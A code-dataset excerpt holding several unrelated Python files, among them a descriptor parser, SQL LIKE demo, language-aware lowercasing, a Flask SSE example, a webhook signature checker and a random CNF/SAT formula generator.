tuple\n commaless_expr: parenthentical | ENTITY\n tuple: commaless_expr ','\n | commaless_expr (',' commaless_expr)+ ','?\n parenthetical: '(' expr ')'\n\n ENTITY: /[a-zA-Z_][a-zA-Z0-9_]/\n \"\"\"\n\n # Initialize parser state.\n self._descriptor = descriptor\n self._cur_aug_token = None\n self._prev_aug_token = None\n self._expr_stack = [ExprParseState()]\n\n # Parse each token.\n for aug_token in self._gen_aug_tokens():\n self._cur_aug_token = aug_token\n self._parse_cur_aug_token()\n self._prev_aug_token = aug_token\n\n # The current (and only) expression on the stack should now have the parsed\n # node.\n assert self._cur_expr.parsed_dnode is not None\n return self._cur_expr.parsed_dnode\n\n @property\n def _cur_expr(self):\n return self._expr_stack[-1]\n\n def _gen_aug_tokens(self):\n descriptor = self._descriptor\n pos = 0\n while True:\n match = TOKEN_PATTERN.match(descriptor, pos=pos)\n if match is None:\n self._fail(f\"illegal character {descriptor[pos]!r} (at position {pos})\")\n token_type = match.lastgroup\n assert token_type is not None\n if token_type != \"whitespace\":\n yield AugmentedToken(\n token=match.group(), token_type=token_type, start_pos=pos,\n )\n if token_type == \"end\":\n break\n pos = match.end()\n\n def _parse_cur_aug_token(self):\n token_type = self._cur_aug_token.token_type\n\n if token_type == \"name\":\n self._parse_entity_name()\n\n elif token_type == \"comma\":\n self._open_or_extend_tuple_expr()\n\n elif token_type == \"lparen\":\n self._open_paren()\n\n elif token_type == \"rparen\":\n self._finish_parsing_cur_expr_if_tuple()\n self._close_paren()\n\n elif token_type == \"end\":\n self._finish_parsing_cur_expr_if_tuple()\n self._finish_parsing()\n\n def _parse_entity_name(self):\n name = self._cur_aug_token.token\n if self._cur_expr.parsed_dnode is not None:\n self._fail(\n f\"\"\"\n found unexpected name {name}\n following an already-complete expression\n {self._cur_expr.parsed_dnode.to_descriptor()!r}\n \"\"\"\n )\n self._cur_expr.parsed_dnode = EntityNode(name)\n\n def _open_or_extend_tuple_expr(self):\n if self._cur_expr.parsed_dnode is None:\n if self._cur_expr.active_tuple_dnodes is None:\n self._fail(\n f\"\"\"\n found unexpected {self._cur_aug_token}\n with no preceding expression\n \"\"\"\n )\n else:\n assert self._prev_aug_token.token_type == \"comma\", self._prev_aug_token\n self._fail(\n f\"\"\"\n found unexpected {self._cur_aug_token}\n immediately following another ','\n \"\"\"\n )\n\n parsed_dnode = self._cur_expr.parsed_dnode\n self._cur_expr.parsed_dnode = None\n\n if self._cur_expr.active_tuple_dnodes is None:\n self._cur_expr.active_tuple_dnodes = []\n self._cur_expr.active_tuple_dnodes.append(parsed_dnode)\n\n def _finish_parsing_cur_expr_if_tuple(self):\n if self._cur_expr.active_tuple_dnodes is not None:\n if self._cur_expr.parsed_dnode is not None:\n self._cur_expr.active_tuple_dnodes.append(self._cur_expr.parsed_dnode)\n self._cur_expr.parsed_dnode = TupleNode(self._cur_expr.active_tuple_dnodes)\n self._cur_expr.active_tuple_dnodes = None\n\n def _open_paren(self):\n if self._cur_expr.parsed_dnode is not None:\n self._fail(\n f\"\"\"\n found unexpected {self._cur_aug_token}\n following an already-complete expression\n {self._cur_expr.parsed_dnode.to_descriptor()!r}\n \"\"\"\n )\n self._expr_stack.append(\n ExprParseState(start_lparen_aug_token=self._cur_aug_token)\n )\n\n def _close_paren(self):\n if self._cur_expr.start_lparen_aug_token is None:\n self._fail(\n f\"\"\"\n found unexpected {self._cur_aug_token}\n with no matching '('\n \"\"\"\n )\n\n if self._cur_expr.parsed_dnode is None:\n self._cur_expr.parsed_dnode = TupleNode([])\n\n expr = self._expr_stack.pop()\n self._cur_expr.parsed_dnode = expr.parsed_dnode\n\n def _finish_parsing(self):\n if self._cur_expr.start_lparen_aug_token is not None:\n lparen_aug_token = self._cur_expr.start_lparen_aug_token\n self._fail(\n f\"\"\"\n {lparen_aug_token} has no matching ')'\n \"\"\"\n )\n\n if self._cur_expr.parsed_dnode is None:\n assert self._descriptor.strip() == \"\"\n self._fail(\"descriptor is empty\")\n\n assert len(self._expr_stack) == 1\n\n def _fail(self, message):\n raise MalformedDescriptorError(\n f\"Unable to parse descriptor {self._descriptor!r}: \" + oneline(message)\n )\n\n\nclass ExprParseState:\n \"\"\"\n The state of a parser as it processes a particular expression.\n \"\"\"\n\n def __init__(self, start_lparen_aug_token=None):\n self.start_lparen_aug_token = start_lparen_aug_token\n self.active_tuple_dnodes = None\n self.parsed_dnode = None\n","sub_path":"bionic/descriptors/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":8557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"149211752","text":"# Demonstrates the like keyword.\nfrom sqlalchemy import create_engine\nimport json\nimport mariadb as mdb\nimport pandas as pd\n\nengine = create_engine('mysql+pymysql://root:@localhost/testDB')\ncon = engine.connect()\n\ndbname = 'testDB'\ncfg_path = './server.cfg'\n\nwith open(cfg_path, 'r') as f:\n server_config = json.load(f)\ndb = mdb.connect(**server_config)\ncursor = db.cursor()\n\ncommand = f'USE {dbname};'\ntry:\n cursor.execute(command)\nexcept mdb.ProgrammingError:\n print('database does not exist')\n\n# The like syntax goes like this:\n# % = wildcard. 1% fits include 1, 10 and 100.\n# _ = any single character.\n# In this case, all ages starting with 1.\ncommand = '''\nSELECT *\nFROM konosuba\nWHERE age LIKE '1%';\n'''\ncursor.execute(command)\ndf = pd.DataFrame(cursor.fetchall())\nprint(df)\nprint()\n\n# In this case, all ages at least 3 digits long.\ncommand = '''\nSELECT *\nFROM konosuba\nWHERE age LIKE '___';\n'''\ncursor.execute(command)\ndf = pd.DataFrame(cursor.fetchall())\nprint(df)\nprint()\n\n# When using sqlalchemy, % has to be escaped with %.\n# So 1% becomes 1%%.\ncommand = '''\nSELECT *\nFROM konosuba\nWHERE name LIKE 'megu%%';\n'''\ndf = pd.read_sql_query(command, engine)\nprint(df.head())\nprint()\n\ncursor.close()\ndb.commit()\ndb.close()\nprint('commands executed.')\n","sub_path":"08_like_test.py","file_name":"08_like_test.py","file_ext":"py","file_size_in_byte":1264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"202624276","text":"import unicodedata\n\nclass Word:\n\n def __init__(self, word, bcpCode, std=False):\n self._w = word\n self._l = bcpCode\n self._finalSigma = False\n self._standardIrishSpelling = std\n # OLD EXPERIMENTAL CODE for dealing with vowel harmony\n # self._numVowels = 0\n # for c in word:\n # if c in 'aeiouAEIOU':\n # self._numVowels += 1\n\n def setWord(self, w):\n self._w = w\n\n def toLower(self):\n language = self._l\n if '-' in self._l:\n i = self._l.find('-')\n language = self._l[0:i]\n if len(language)<2 or len(language)>3:\n print(\"Invalid BCP-47 code\")\n return ''\n temp = self._w\n if language=='zh':\n return temp\n elif language=='ja':\n return temp\n elif language=='ga':\n if len(self._w)>1:\n if (self._w[0]=='t' or self._w[0]=='n') and unicodedata.normalize('NFC', self._w)[1] in 'AEIOU\\u00c1\\u00c9\\u00cd\\u00d3\\u00da':\n temp = self._w[0]+'-'+temp[1:]\n return temp.lower()\n elif language=='tr':\n temp = self._w\n temp = temp.replace('\\u0049','\\u0131')\n return temp.lower()\n elif language=='az':\n temp = self._w\n temp = temp.replace('\\u0049','\\u0131')\n return temp.lower()\n elif language=='th':\n return temp\n elif language=='el':\n if temp[-1]=='\\u03a3':\n self._finalSigma = True\n temp = temp[:-1]+'\\u03c2'\n return temp.lower()\n elif False and language=='gd':\n # specification doesn't ask for this language to be treated differently\n # so this will never be called\n if len(self._w)>1:\n if (self._w[0]=='t' or self._w[0]=='n') and self._w[1] in 'AEIOU\\u00c1\\u00c9\\u00cd\\u00d3\\u00da':\n temp = self._w[0]+'-'+temp[1:]\n return temp.lower()\n else:\n return temp.lower()\n\n def isLenited(self):\n language = self._l\n if '-' in self._l:\n i = self._l.find('-')\n language = self._l[0:i]\n if language == 'ga' or language == 'gd':\n if len(self._w) < 2:\n return False\n else:\n return self._w[0].lower() in 'bcdfgmpst' and self._w[1].lower()=='h'\n else:\n raise NotImplementedError('Method only available for Irish and Scottish Gaelic')\n\nif __name__=='__main__':\n f = open('tests.tsv')\n for line in f:\n line = line.rstrip('\\n')\n pieces = line.split('\\t')\n w = Word(pieces[0], pieces[1])\n answer = w.toLower()\n if answer != pieces[2]:\n print('Test case failed. Expected', pieces[2], 'when lowercasing',pieces[0],'in language',pieces[1],'but got',answer)\n f.close()\n","sub_path":"S21/cihanozluk/refactorme.py","file_name":"refactorme.py","file_ext":"py","file_size_in_byte":2533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"334857754","text":"import tensorflow as tf\nimport config as config_lib\nfrom inputs import dataset, semeval_v2\n\ntf.logging.set_verbosity(tf.logging.INFO)\n\nconfig = config_lib.get_config()\n\nsemeval_text = semeval_v2.SemEvalCleanedTextData(\n config.semeval_dir, config.semeval_train_file, config.semeval_test_file)\n\n# length statistics\nsemeval_text.length_statistics()\n\n# gen vocab\nvocab = dataset.Vocab(config.out_dir, config.vocab_file)\n# vocab.generate_vocab(semeval_text.tokens())\n\n# # trim embedding\n# embed = dataset.Embed(config.out_dir, config.trimmed_embed300_file, config.vocab_file)\n# google_embed = dataset.Embed(config.pretrain_embed_dir, \n# config.google_embed300_file, config.google_words_file)\n# embed.trim_pretrain_embedding(google_embed)\n\n# build SemEval record data\nsemeval_text.set_vocab(vocab)\ntag_encoder = dataset.Label(config.semeval_dir, config.semeval_tags_file)\nsemeval_text.set_tags_encoder(tag_encoder)\nsemeval_record = semeval_v2.SemEvalCleanedRecordData(semeval_text,\n config.out_dir, config.semeval_train_record, config.semeval_test_record)\nsemeval_record.generate_data()\n\n\n# INFO:tensorflow:(percent, quantile) [(50, 18.0), (70, 22.0), (80, 25.0), \n# (90, 29.0), (95, 34.0), (98, 40.0), (100, 97.0)]\n# INFO:tensorflow:generate vocab to data/generated/vocab.txt\n# INFO:tensorflow:trim embedding to data/generated/embed300.trim.npy\n# INFO:tensorflow:generate TFRecord data\n","sub_path":"src-tag-ent/gen_data.py","file_name":"gen_data.py","file_ext":"py","file_size_in_byte":1447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"501729711","text":"\"\"\"\noverride the torch importing, to dump all torch operators during the processing code.\n!!!This package depends on onnxruntime_customops root package, but not vice versa.!!!\n, since this package fully relies on pytorch, while the onnxruntime_customops doesn't\n\"\"\"\ntry:\n import torch\nexcept ImportError:\n raise RuntimeError(\"pytorch not installed, which is required by this ONNX build tool\")\n\nfrom torch import (float32,\n float,\n float64,\n double,\n float16,\n bfloat16,\n half,\n uint8,\n int8,\n int16,\n short,\n int32,\n int,\n int64,\n long,\n complex32,\n complex64,\n cfloat,\n complex128,\n cdouble,\n quint8,\n qint8,\n qint32,\n bool) # noqa\n\nfrom torch import randn, onnx # noqa\n\n\nfrom ._tensor import * # noqa\nfrom ._builder import build_customop_model\nfrom ._session import ONNXTraceSession\n\ntrace_for_onnx = ONNXTraceSession.trace_for_onnx\n","sub_path":"onnxruntime_customops/mytorch/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"452191843","text":"\n\nfrom xai.brain.wordbase.verbs._envelop import _ENVELOP\n\n#calss header\nclass _ENVELOPS(_ENVELOP, ):\n\tdef __init__(self,): \n\t\t_ENVELOP.__init__(self)\n\t\tself.name = \"ENVELOPS\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"envelop\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_envelops.py","file_name":"_envelops.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"517175735","text":"import h5py\nimport matplotlib\nmatplotlib.use('agg') #Workaround for missing tkinter\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport urllib\nimport time\nimport datetime\nimport timeit\nimport requests\n\ndebug = False\n\ndef read_URL_to_file (URL, filename):\n with urllib.request.urlopen(URL) as url_returns:\n data = url_returns.read().decode('utf-8').split('\\n')\n with open(filename, 'w') as f:\n for datum in data:\n f.write(\"%s\\n\" % datum)\n \n return \none_day = datetime.timedelta(days=1)\none_sec = datetime.timedelta(seconds=1)\n\nnow = datetime.datetime.now()\nstarttime = '{0:%Y-%m-%d+%H:%M:%S}'.format(now - one_sec)\nstopptime = '{0:%Y-%m-%d+%H:%M:%S}'.format(now )\n\n##starttime = '{0:%Y-%m-%d}'.format(now - one_day)\n##stopptime = '{0:%Y-%m-%d}'.format(now )\n##\n# logger_get ACL command documentation: https://www-bd.fnal.gov/issues/wiki/ACLCommandLogger_get\nURL = \"http://www-ad.fnal.gov/cgi-bin/acl.pl?acl=logger_get/date_format='utc_seconds'/ignore_db_format/start=\\\"\"+starttime+\"\\\"/end=\\\"\"+stopptime+\"\\\"/node=\"\n\nD43DataLoggerNode = 'MLrn'\nURL = URL + D43DataLoggerNode + '+'\ndeviceNames = ('B:VIMIN', 'B_VIMIN', 'B:VIMAX', 'B_VIMAX', 'B:IMINER', 'B:NGMPS')\ntempfilename = 'temp_file.txt'\n\n\ndfdict = {} #Need a place to keep each dataframe\nfor deviceName in deviceNames:\n tempfilename = 'tempfile'+deviceName+'.txt'\n tempURL = URL + deviceName\n if debug: print (tempURL)\n\n # Download device data to local ASCII file\n with open(tempfilename, \"wb\") as file:\n # Column headers\n headers = 'utc_seconds'+deviceName+' \\t '+deviceName+'\\n'\n # Write headers encoded\n file.write(headers.encode('utf-8'))\n # Get request\n response = requests.get(tempURL)\n # Write data to file\n file.write(response.content)\n # Dump the file into a pandas DataFrame \n columns = ('utc_seconds'+deviceName, deviceName) # Will get these set up higher.\n dfdict[deviceName] = pd.read_csv(tempfilename, delim_whitespace=True, names=columns)\n if debug: print (dfdict[deviceName])\n\ndf = pd.concat(dfdict.values(), axis=1)\nprint (df)\nh5key = 'x' #str(time.time())\nprint (h5key)\n#Fun with hdf5\ndf.to_hdf('moar.h5', key=h5key, mode='w')\n","sub_path":"DataGrabber.py","file_name":"DataGrabber.py","file_ext":"py","file_size_in_byte":2269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"414702857","text":"# -*- coding: utf-8 -*-\n\nimport logging\nlogging.basicConfig(level=logging.DEBUG)\n\n# import gevent\n# from gevent.wsgi import WSGIServer\n# from gevent.queue import Queue\nfrom flask import Flask, render_template\nfrom flask_sse import sse\n\nstatic_folder = '../static'\ntemplate_folder = '../templates'\nredis_url = 'redis://localhost'\n\n_logger = logging.getLogger(__name__)\n\napp = Flask(__name__,\n static_folder=static_folder,\n template_folder=template_folder)\napp.config['REDIS_URL'] = redis_url\napp.register_blueprint(sse, url_prefix='/stream')\n\n@app.route('/')\ndef index():\n return render_template(\"sse.html\")\n\n@app.route('/hello')\ndef publish_hello():\n sse.publish({\"message\": \"Hello!\"}, type='greeting')\n return \"Message sent!\"\n\nif __name__ == '__main__':\n _logger.debug(app.url_map)\n app.run()\n","sub_path":"cabbage_backend-8-12/examples/flask_sse_example.py","file_name":"flask_sse_example.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"339427028","text":"# -*- coding: utf-8 -*-\nfrom pathlib import Path\nfrom collections import deque\nimport matplotlib.pyplot as plt\n\nfrom unityagents import UnityEnvironment\nimport numpy as np\nimport torch\n\nfrom ddpg_agent import Agent, ReplayBuffer, OUNoise\n\nenv1_path = Path(\"./Reacher_Windows_x86_64_v1/Reacher.app\")\nenv2_path = Path(\"./Reacher_Windows_x86_64_v2/Reacher.app\")\nenv_path = str(env1_path.resolve())\nenv = UnityEnvironment(file_name=env_path)\n\n# get the default brain\nbrain_name = env.brain_names[0]\nbrain = env.brains[brain_name]\n\nenv_info = env.reset(train_mode=False)[brain_name] # reset the environment\nstate_size = env_info.vector_observations.shape[1]\naction_size = env_info.previous_vector_actions.shape[1]\nNUM_AGENTS = 20\nBUFFER_SIZE = int(1e5)\nBATCH_SIZE = 128\nSEED = 72\nactor_path = Path(\"./checkpoint_actor_v1.pth\")\ncritic_path = Path(\"./checkpoint_critic_v1.pth\")\n\nagents = [Agent(state_size=state_size, action_size=action_size, random_seed=2)]\nagents[0].load_weights(actor_path, critic_path)\n\n\ndef ddpg(n_episodes=100, max_t=300, print_every=100):\n scores_deque = deque(maxlen=print_every)\n scores = []\n for i_episode in range(1, n_episodes + 1):\n state = env.reset(train_mode=False)[brain_name].vector_observations\n for agent in agents:\n agent.reset()\n score = 0\n for t in range(max_t):\n for i, agent in enumerate(agents):\n action = agent.act(state)\n obj = env.step(action)\n next_state = obj[\"ReacherBrain\"].vector_observations\n reward = obj[\"ReacherBrain\"].rewards[0]\n done = obj[\"ReacherBrain\"].local_done[0]\n state = next_state\n score += reward\n if done:\n break\n scores_deque.append(score)\n scores.append(score)\n print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, np.mean(scores_deque)), end=\"\")\n if i_episode % print_every == 0:\n print('\\rEpisode {}\\tAverage Score: {:.2f}'.format(i_episode, np.mean(scores_deque)))\n\n return scores\n\n\nscores = ddpg()\n\nfig = plt.figure()\nax = fig.add_subplot(111)\nplt.plot(np.arange(1, len(scores) + 1), scores)\nplt.ylabel('Score')\nplt.xlabel('Episode #')\nplt.show()","sub_path":"p2_continuous-control/test_v1.py","file_name":"test_v1.py","file_ext":"py","file_size_in_byte":2263,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"323029726","text":"#!/usr/bin/python3\n\nimport logging\nimport hmac\nimport base64\n\nimport gevent\nfrom gevent.pywsgi import WSGIServer\nfrom flask import Flask, request, abort\n\nimport config\n\napp = Flask(__name__)\nlogger = logging.getLogger(__name__)\ncfg = config.read_cfg()\n\n@app.route(\"/webhook_test\", methods=(\"GET\", \"POST\"))\ndef webhook_test():\n if request.method == \"GET\":\n return \"ok\"\n sig = request.headers.get(\"Signature\")\n msg = request.get_data(cache=False, as_text=True)\n print(f\"Signature is {sig}\")\n sig = base64.b64decode(sig)\n sig_ours = hmac.HMAC(cfg.webhook_key.encode(), msg.encode(), \"sha256\").digest()\n if not hmac.compare_digest(sig, sig_ours):\n abort(401)\n print(f\"Msg:\\n\\t{msg}\")\n return \"ok\"\n\nclass WebhookTest():\n\n def __init__(self, addr=\"127.0.0.1\", port=5001):\n self.addr = addr\n self.port = port\n\n def start(self):\n def runloop():\n logger.info(\"WebhookTest runloop started\")\n\n http_server = WSGIServer((self.addr, self.port), app)\n http_server.serve_forever()\n\n logger.info(\"spawning WebhookTest runloop...\")\n self.runloop_greenlet = gevent.spawn(runloop)\n gevent.sleep(0)\n\n def stop(self):\n self.runloop_greenlet.kill()\n\nif __name__ == \"__main__\":\n # setup logging\n logger.setLevel(logging.DEBUG)\n ch = logging.StreamHandler()\n ch.setLevel(logging.DEBUG)\n ch.setFormatter(logging.Formatter('[%(name)s %(levelname)s] %(message)s'))\n logger.addHandler(ch)\n # clear loggers set by any imported modules\n logging.getLogger().handlers.clear()\n\n wht = WebhookTest()\n wht.start()\n\n while 1:\n gevent.sleep(1)\n\n wht.stop()\n","sub_path":"zapd/webhook_test.py","file_name":"webhook_test.py","file_ext":"py","file_size_in_byte":1695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"96485114","text":"import math\nfrom time import time\nimport random\nfrom joblib import Parallel, delayed\n\nimport numpy as np\n\nfrom logic.prop import AtomForm, ImpForm, ConForm, DisForm, NegForm, CNForm\nfrom graph import graph\n\n\nclass node:\n def __init__(self, arity=2):\n self.childs = [None for _ in range(arity)]\n self.op = ''\n\n def random_insert_node(self):\n c = np.random.choice(range(len(self.childs)), 1)[0]\n if self.childs[c] is None:\n self.childs[c] = random_node(allow_unary=(len(self.childs) > 1))\n else:\n self.childs[c].random_insert_node()\n\n def __str__(self):\n return self.__repr__()\n\n def __repr__(self):\n return 'node ch={} op={}'.format(len(self.childs), self.op)\n\n def make_ops(self):\n if len(self.childs) == 1:\n self.op = 'N'\n else:\n self.op = np.random.choice(['C', 'D', 'I'])\n for c in self.childs:\n if c is not None:\n c.make_ops()\n\n def try_to_push_var(self, v):\n\n perm = [i for i in np.random.permutation(np.arange(len(self.childs)))]\n\n for i in perm:\n if self.childs[i] is None:\n self.childs[i] = v\n return True\n elif isinstance(self.childs[i], str):\n continue\n elif isinstance(self.childs[i], node):\n if self.childs[i].try_to_push_var(v):\n return True\n return False\n\n\ndef _printNode(anode, t=0):\n print('{}{}\\n'.format('\\t' * t, str(anode)), end='')\n if isinstance(anode, node):\n for c in anode.childs:\n _printNode(c, t + 1)\n\n\ndef random_node(allow_unary=True):\n if allow_unary:\n return node(np.random.choice([1, 2], 1, p=[0.2, 0.8])[0])\n else:\n return node(2)\n\n\ndef generate_unbin_tree(ops):\n root = random_node()\n\n n = ops - 1\n while (n > 0):\n root.random_insert_node()\n n -= 1\n\n return root\n\n\ndef make_vars(cnt):\n return ['p{}'.format(i) for i in range(cnt)]\n\n\ndef insert_vars(vars, root):\n f = True\n i = 0\n while f:\n v = vars[i % len(vars)]\n f = root.try_to_push_var(v)\n i += 1\n\n\ndef make_formula(node):\n if isinstance(node, str):\n return AtomForm(node)\n elif node.op == 'D':\n return DisForm(make_formula(node.childs[0]), make_formula(node.childs[1]))\n elif node.op == 'C':\n return ConForm(make_formula(node.childs[0]), make_formula(node.childs[1]))\n elif node.op == 'I':\n return ImpForm(make_formula(node.childs[0]), make_formula(node.childs[1]))\n elif node.op == 'N':\n return NegForm(make_formula(node.childs[0]))\n\n\ndef generateRandomFormula(nVars, nOps=None):\n if nOps is None:\n nOps = int(np.random.uniform(2 * nVars, nVars * 4))\n t = generate_unbin_tree(nOps)\n t.make_ops()\n vs = make_vars(nVars)\n insert_vars(vs, t)\n f = make_formula(t)\n return f\n\n\ndef generateRandomCNFt(nVars, clause_max=-1, clause_min=1, exact_clauses=None):\n if exact_clauses is not None:\n num = exact_clauses\n else:\n min_disjuncts = clause_min\n max_disjuncts = 2 ** nVars\n if clause_max > 0:\n max_disjuncts = min(clause_max, max_disjuncts)\n num = int(round(np.random.uniform(min_disjuncts, max_disjuncts)))\n s = set()\n for _ in range(num):\n l = []\n for i in range(1, 1 + nVars):\n c = np.random.choice((0, 0, 0, 1, 2))\n if c == 1:\n l.append(i)\n elif c == 2:\n l.append(-i)\n if len(l) > 0:\n s.add(tuple(l))\n return list(s)\n\n\ndef CNFt2CNF(s):\n ll = [[AtomForm('p{}'.format(str(n))) if n > 0 else NegForm(AtomForm('p{}'.format(str(-n))))\n for n in t] for t in s]\n f = CNForm(ll)\n if minimize:\n pass\n return f\n\n\ndef toCNF(f):\n pass\n\n\ndef CNF_open_branches(f: CNForm):\n def atree_starter(cons):\n branch = cons\n return atree_rec(branch, set())\n\n def extend_liters(a, ls: set):\n nl = ls.copy()\n\n inv = None\n if isinstance(a, NegForm):\n inv = a.value\n else:\n inv = NegForm(a)\n if inv in nl:\n return None\n\n nl.add(a)\n return nl\n\n def atree_rec(branch, liters):\n if len(branch) == 0:\n return [list(liters)]\n else:\n res = []\n b = branch.copy()\n dis = b.pop(0)\n for v in dis:\n nl = extend_liters(v, liters)\n if nl is not None:\n r = atree_rec(b, nl)\n if r is not None:\n res.extend(r)\n return res\n\n open_branches = atree_starter(f.members)\n return open_branches\n\n\ndef CNFt_open_branches(f):\n def extend_liters(a, ls):\n nl = ls # .copy()\n\n if -a in nl:\n return None\n elif a in nl:\n return nl\n else:\n return nl + (a,)\n\n def optimize_set(s0):\n if len(s0) < 2:\n return s0\n s = list(s0)\n s.sort(key=lambda l: len(l))\n i = 0\n while i < len(s):\n a = s[i]\n j = i + 1\n while j < len(s):\n b = s[j]\n if is_strong_subset(a, b):\n s.pop(j)\n else:\n j += 1\n i += 1\n return set(s)\n\n def atree_rec(branch, liters=()):\n if len(branch) == 0:\n return {tuple(sorted(liters, key=math.fabs))}\n else:\n res = set()\n b = branch.copy()\n dis = b.pop(0)\n for v in dis:\n nl = extend_liters(v, liters)\n if nl is None:\n continue\n rb = sorted([tuple([m for m in x if m != -v]) for x in b if v not in x], key=len)\n r = atree_rec(rb, nl)\n if r is not None and len(r) > 0:\n res.update(r)\n # res.extend(r)\n # if len(res) > 5:\n # res = optimize_set(res)\n return res\n\n open_branches = atree_rec(f)\n return optimize_set(open_branches)\n\n\ndef is_strong_subset(a, b):\n # a= len(b):\n return False\n for am in a:\n if not am in b:\n return False\n return True\n\n\ndef minimize_CNFt(f):\n f1 = f.copy()\n f = f1\n f.sort(key=lambda l: len(l))\n delta = True\n\n while delta and len(f) > 1:\n delta = False\n res = []\n for c in f:\n if c in res:\n continue\n else:\n fl = True\n for d in res:\n fl = fl and not is_strong_subset(d, c)\n if fl:\n res.append(c)\n else:\n delta = True\n\n res1 = []\n for i in range(len(res)):\n a = res[i]\n to_add = a\n for j in range(i + 1, len(res)):\n b = res[j]\n if len(b) > len(a):\n break\n x1 = np.asarray(a)\n x2 = np.asarray(b)\n e1 = x1 == x2\n e2 = x1 == -x2\n e3 = np.logical_xor(e1, e2)\n if np.all(e3) and np.count_nonzero(e2) == 1:\n k = np.argmax(e2)\n to_add = tuple([a[i] for i in range(len(a)) if i != k])\n delta = True\n\n res1.append(to_add)\n\n res1.sort(key=lambda l: len(l))\n f = res1\n # print('simplified:\\n',f)\n return f\n\n\ndef CNFtto3SAT(f):\n if all([len(x) <= 3 for x in f]):\n return f\n\n res = [x for x in f if len(x) <= 3]\n\n tomin = [x for x in f if len(x) > 3]\n\n nextvar = np.abs(np.concatenate(f)).max() + 1\n\n while len(tomin) > 0:\n to_reduce = list(tomin.pop(0))\n appends = []\n while len(to_reduce) > 3:\n H = to_reduce[:-2]\n c = to_reduce[-2]\n d = to_reduce[-1]\n e = nextvar\n nextvar += 1\n appends.extend([(-e, c, d), (e, -c), (e, -d)])\n to_reduce = H + [e]\n appends.append(to_reduce)\n res.extend(appends)\n\n res.sort(key=len)\n return res\n\n\n# for _ in range(30):\n# f=generateRandomFormula(nVars=5,nOps=20)\n# print(f)\n# print(f.prefixstr())\n\nresdict = {}\n\n\ndef run_test(nVars, samples=1000):\n nV = nVars\n cc = 0\n co = 0\n tgen = 0.\n tsimp = 0.\n tsat3 = 0.\n tatables = 0.\n tatablessat3 = 0.\n ttotal = time()\n for i in range(samples):\n t = time()\n f = generateRandomCNFt(nV)\n tgen += time() - t\n print('f {}==============================================================:\\n'.format(i)) # , f)\n t = time()\n min_f = minimize_CNFt(f)\n tsimp += time() - t\n print('minimal:\\n', min_f)\n t = time()\n obranches = CNFt_open_branches(min_f)\n tatables += time() - t\n if len(obranches) == 0:\n print('closed formula!!!')\n cc += 1\n else:\n print('minimal branches ({}):\\n'.format(len(obranches)), obranches)\n co += 1\n t = time()\n sat3 = CNFtto3SAT(min_f)\n tsat3 += time() - t\n print('3sat:\\n', sat3)\n t = time()\n obranches = CNFt_open_branches(sat3)\n tatablessat3 += time() - t\n if len(obranches) == 0:\n print('closed formula!!!')\n else:\n print('minimal branches ({}):\\n'.format(len(obranches)), obranches)\n\n dt = (time() - ttotal)\n resdict[nVars] = {\n 'avgtime': dt / samples,\n 'generation': tgen / samples,\n 'simplification': tsimp / samples,\n 'converting to SAT3': tsat3 / samples,\n 'atabeaux for sat': tatables / samples,\n 'atabeaux for sat3': tatablessat3 / samples,\n 'satisfiable': co / (cc + co),\n 'unsatisfiable': cc / (cc + co),\n }\n\n # print(\n # '{: >4d} variables (average {:.5f} s. per example): unsat:{:.2f}, sat:{:.2f}'.format(nV, dt, cc / (cc + co), ))\n\n\n# g=graph()\n# g.add_edge('a','b')\n# g.print()\n# print('----------------')\n# g.add_edge('a','c')\n# g.print()\n# print('----------------')\n# g.add_edge('b','c')\n# g.print()\n# print('----------------')\n# g.add_edge('b','c')\n# g.print()\n# print('----------------')\n\n\ndef make_graph_tree(f):\n g = graph()\n\n for i, c in enumerate(f):\n dname1 = 'd{}'.format(i)\n g.add_edge('g', dname1)\n g.add_edge('g', 'c')\n for v in c:\n if v < 0:\n vname1 = 'p{}'.format(-v)\n g.add_edge(vname1, 'v{}'.format(-v))\n vname2 = 'n{}'.format(-v)\n g.add_edge(vname1, vname2)\n vname = vname2\n else:\n vname = 'v{}'.format(int(math.fabs(v)))\n g.add_edge(dname1, vname)\n\n return g\n\n\ndef make_graph_fc1(f):\n pass\n\n\ndef make_graph_2partial(f):\n g = graph()\n for i, c in enumerate(f):\n for v in c:\n g.add_edge('c{}'.format(i), 'v{}'.format(int(math.fabs(v))), int(v / math.fabs(v)))\n return g\n\n\ndef test():\n for v in range(4, 10):\n run_test(v, 50) # int(2 ** (6 * 12 / v)))\n\n for v in resdict:\n print('{}:'.format(v))\n for k in resdict[v]:\n print('\\t{}:\\t{:.5f}'.format(k, resdict[v][k]))\n\n f = generateRandomCNFt(3)\n print(f)\n g2p = make_graph_2partial(f)\n g2p.print()\n mx, lbls = g2p.getAdjMatrix()\n print(lbls)\n print(mx)\n\n gtree = make_graph_tree(f)\n gtree.print()\n mx, lbls = gtree.getAdjMatrix()\n print(lbls)\n print(mx)\n\n\ndef SolveSAT(f):\n min_f = minimize_CNFt(f)\n if len(min_f) == 0:\n return False\n obranches = CNFt_open_branches(min_f)\n return len(obranches) > 0\n\n\ndef effective_Vars(f):\n return len(set([abs(a) for a in sum([list(x) for x in f], [])]))\n\n\nimport networkx as nx\nfrom networkx.algorithms import bipartite\n\n\ndef 